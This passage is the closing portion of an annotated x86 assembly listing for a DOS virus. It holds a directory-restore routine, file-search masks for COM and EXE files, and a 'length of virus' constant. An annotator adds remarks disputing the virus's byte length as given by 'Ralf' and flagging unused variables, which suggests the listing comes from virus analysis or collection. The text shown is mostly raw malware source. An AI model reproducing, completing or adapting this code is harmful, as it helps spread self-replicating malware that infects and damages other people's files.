  419. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  420.  
  421.                 mov        ah,3Bh                   ; use old dir
  422.                 lea        dx,cs:[1FDh]             ; get old path and 
  423.                                                     ; backslash
  424.                 int        21h                      
  425.                 ret
  426.  
  427.   
  428. search_order    db        0FFh,1,0,2,3,0FFh,0,0FFh
  429. pointer         dw        0000
  430. counter         dw        0000
  431. disks           db        0
  432. mask_com        db        "*.com",00                ; search for com-files
  433. mask_dir        db        "*",00                    ; search for dirs
  434. mask_exe        db        0FFh, 0, 0, 0, 0, 0, 3Fh
  435.                 db        0,"????????exe",0,0,0,0
  436.                 db        0,"????????com",0
  437. mask_all        db        0FFh, 0, 0, 0, 0, 0, 3Fh
  438.                 db        0,"???????????",0,0,0,0
  439.                 db        0,"????????com",0
  440.  
  441. ;; mask_all is never used by the code and easilly can be ommited
  442. ;; to shorten the code
  443.  
  444. buffer          equ       0e000h                    ; a save place
  445. buflen          equ       230h                      ; length of virus
  446.  
  447. ;; At this place I disagree with Ralf. The actual length of the virus
  448. ;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled
  449. ;; in A86. Because it was Ralf's intention to compile this in MASM
  450. ;; 21Dh should be the original length.
  451.  
  452. jmpbuf          equ       buffer+buflen             ; a save place for jmp
  453. path            db        "\",0                     ; first path
  454. drive           db        0                         ; actual drive
  455. back_slash      db        "\"
  456.  
  457. ;; This variable is never used in the code and easilly can be ommited
  458. ;; to shorten the code.
  459.  
  460. old_path        db        32 dup (?)                ; old path
  461.   
  462. code            ends
  463.   
  464.                 end        main
  465.